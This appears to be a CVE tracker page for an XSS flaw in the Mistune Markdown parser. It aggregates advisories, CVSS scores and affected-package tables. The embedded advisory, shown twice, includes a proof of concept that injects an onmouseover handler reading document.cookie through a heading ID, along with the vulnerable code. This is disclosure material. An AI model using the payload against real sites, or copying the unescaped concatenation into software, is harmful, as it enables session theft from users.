CVE-2026-44897
Mistune Heading ID Attribute Injection XSS
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
Mistune Heading ID Attribute Injection XSS
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44897- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-31994
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
EUVD-2026-31994- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v87v-83h2-53w7
6.1
Mistune Heading ID Attribute has Injection XSS
Summary
HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.
Details
File: src/mistune/renderers/html.py
def heading(self, text: str, level: int, **attrs: Any) -> str:
tag = "h" + str(level)
html = "<" + tag
_id = attrs.get("id")
if _id:
html += ' id="' + _id + '"' # ← _id is never escaped
return html + ">" + text + "</" + tag + ">\n"
The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as " etc. But _id arrives as a raw string directly from whatever the heading_id callback returned — no escaping occurs at any point in the pipeline.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, …
bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)
Output — ID is auto-generated, no user text appears in it:
<h2 id="toc_1">Introduction</h2>
Step 2 — Add the realistic trigger: a text-based heading_id callback
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:
def raw_id(token, index):
return token.get("text", "") # returns raw heading text as the ID
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
## foo" onmouseover="alert(document.cookie)" x="
When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.
Step 4 — Observe attribute breakout in the output
ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)
Actual output:
<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>
Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.
Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook
def raw_id(token, index):
return token.get("text", "")…
- Record
GHSA-v87v-83h2-53w7- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44897- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
6.1
Mistune Heading ID Attribute Injection XSS
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44897- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-44897
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
DEBIAN-CVE-2026-44897- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-v87v-83h2-53w7
6.1
Mistune Heading ID Attribute has Injection XSS
Summary
HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.
Details
File: src/mistune/renderers/html.py
def heading(self, text: str, level: int, **attrs: Any) -> str:
tag = "h" + str(level)
html = "<" + tag
_id = attrs.get("id")
if _id:
html += ' id="' + _id + '"' # ← _id is never escaped
return html + ">" + text + "</" + tag + ">\n"
The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as " etc. But _id arrives as a raw string directly from whatever the heading_id callback returned — no escaping occurs at any point in the pipeline.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, …
bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)
Output — ID is auto-generated, no user text appears in it:
<h2 id="toc_1">Introduction</h2>
Step 2 — Add the realistic trigger: a text-based heading_id callback
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:
def raw_id(token, index):
return token.get("text", "") # returns raw heading text as the ID
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
## foo" onmouseover="alert(document.cookie)" x="
When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.
Step 4 — Observe attribute breakout in the output
ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)
Actual output:
<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>
Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.
Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook
def raw_id(token, index):
return token.get("text", "")…
- Record
GHSA-v87v-83h2-53w7- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2026-2207
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
PYSEC-2026-2207- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-44897
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
UBUNTU-CVE-2026-44897- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVAZL-88400 No score
CVE-2026-44897 affecting package python-mistune for versions less than 3.2.1-1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
- Record
AZL-88400- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10761-1 No score
python311-mistune-3.2.1-1.1 on GA media
These are all security issues fixed in the python311-mistune-3.2.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10761-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20827-1 No score
Security update for python-mistune
This update for python-mistune fixes the following issues
- CVE-2026-33079: ReDoS in
LINK_TITLE_REcan lead to denial of service via a crafted Markdown (bsc#1264347). - CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
- CVE-2026-44896: improper escaping in
render_figurecan lead to attribute injection and XSS (bsc#1264754). - CVE-2026-44897: improper sanitization of user-controlled input in
HTMLRenderer.headingcan lead to XSS (bsc#1264750). - CVE-2026-44898: improper sanitization of user-supplied HTML input in
render_toc_ulcan lead to XSS (bsc#1265052). - CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in
render_block_imagecan lead to CSS injection (bsc#1265053).
- Record
openSUSE-SU-2026:20827-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:21858-1 No score
Security update for python-mistune
This update for python-mistune fixes the following issues
- CVE-2026-33079: ReDoS in
LINK_TITLE_REcan lead to denial of service via a crafted Markdown (bsc#1264347). - CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
- CVE-2026-44896: improper escaping in
render_figurecan lead to attribute injection and XSS (bsc#1264754). - CVE-2026-44897: improper sanitization of user-controlled input in
HTMLRenderer.headingcan lead to XSS (bsc#1264750). - CVE-2026-44898: improper sanitization of user-supplied HTML input in
render_toc_ulcan lead to XSS (bsc#1265052). - CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in
render_block_imagecan lead to CSS injection (bsc#1265053).
- Record
SUSE-SU-2026:21858-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mistunePyPI |
through 3.2.0 | 3.2.1 |
python-mistuneAzure Linux:3 |
before 3.2.1-1 | 3.2.1-1 |
mistuneDebian:12 |
All versions, plus listed versions 2.0.4-12.0.4-23.0.2-13.0.2-23.1.3-13.1.4-13.3.4-1 |
None known |
mistuneDebian:13 |
All versions, plus listed versions 3.1.3-13.1.4-13.3.4-1 |
None known |
mistuneDebian:14 |
All versions, plus listed versions 3.1.3-13.1.4-13.3.4-1 |
None known |
mistunePyPI |
before 3.2.1, plus listed versions 0.1.00.2.00.3.00.3.10.4 Show 45 moreShow less0.4.10.50.5.10.60.70.7.10.7.20.7.30.7.40.80.8.10.8.20.8.30.8.42.0.02.0.0a12.0.0a22.0.0a32.0.0a42.0.0a52.0.0a62.0.0rc12.0.12.0.22.0.32.0.42.0.52.1.03.0.03.0.0a13.0.0a23.0.0a33.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc53.0.13.0.23.1.03.1.13.1.23.1.33.1.43.2.0 |
3.2.1 |
mistuneUbuntu:16.04:LTS |
All versions, plus listed versions 0.6-20.7.1-1 |
None known |
mistuneUbuntu:18.04:LTS |
All versions, plus listed versions 0.7.4-10.8-10.8.1-10.8.3-2 |
None known |
mistuneUbuntu:20.04:LTS |
All versions, plus listed versions 0.8.4-10.8.4-2 |
None known |
mistuneUbuntu:22.04:LTS |
All versions, plus listed versions 0.8.4-40.8.4-52.0.0-1+really0.8.4-1 |
None known |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
mistune0Ubuntu:22.04:LTS |
All versions, plus listed versions 0.8.4-10.8.4-2 |
None known |
mistuneUbuntu:24.04:LTS |
All versions, plus listed versions 2.0.4-23.0.2-1 |
None known |
mistune0Ubuntu:24.04:LTS |
All versions, plus listed versions 0.8.4-2 |
None known |
mistuneUbuntu:25.10 |
All versions, plus listed versions 3.0.2-23.1.3-1 |
None known |
mistune0Ubuntu:25.10 |
All versions, plus listed versions 0.8.4-4 |
None known |
mistuneUbuntu:26.10 |
All versions, plus listed versions 3.1.4-1 |
None known |
mistune0Ubuntu:26.10 |
All versions, plus listed versions 0.8.4-6 |
None known |
mistuneUbuntu:26.04:LTS |
All versions, plus listed versions 3.1.3-13.1.4-1 |
None known |
mistune0Ubuntu:26.04:LTS |
All versions, plus listed versions 0.8.4-40.8.4-50.8.4-6 |
None known |
python-mistuneopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 3.2.1-1.1 | 3.2.1-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44897 is a medium vulnerability (CVSS 6.1) in Lepture Mistune, published May 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in mistune 3.2.1.
References
github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7
github.com/lepture/mistune/releases/tag/v3.2.1
nvd.nist.gov/vuln/detail/CVE-2026-44897
github.com/advisories/GHSA-v87v-83h2-53w7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44897.json
security-tracker.debian.org/tracker/CVE-2026-44897
Show 18 moreShow less
github.com/lepture/mistune
suse.com/support/update/announcement/2026/suse-su-202621858-1
bugzilla.suse.com/1264347
bugzilla.suse.com/1264750
bugzilla.suse.com/1264751
bugzilla.suse.com/1264752
bugzilla.suse.com/1264754
bugzilla.suse.com/1265052
bugzilla.suse.com/1265053
suse.com/security/cve/CVE-2026-33079
suse.com/security/cve/CVE-2026-33441
suse.com/security/cve/CVE-2026-44708
suse.com/security/cve/CVE-2026-44896
suse.com/security/cve/CVE-2026-44897
suse.com/security/cve/CVE-2026-44898
suse.com/security/cve/CVE-2026-44899
ubuntu.com/security/CVE-2026-44897
cve.org/CVERecord?id=CVE-2026-44897
Left out here: the rest of 2 source descriptions. The JSON record has them.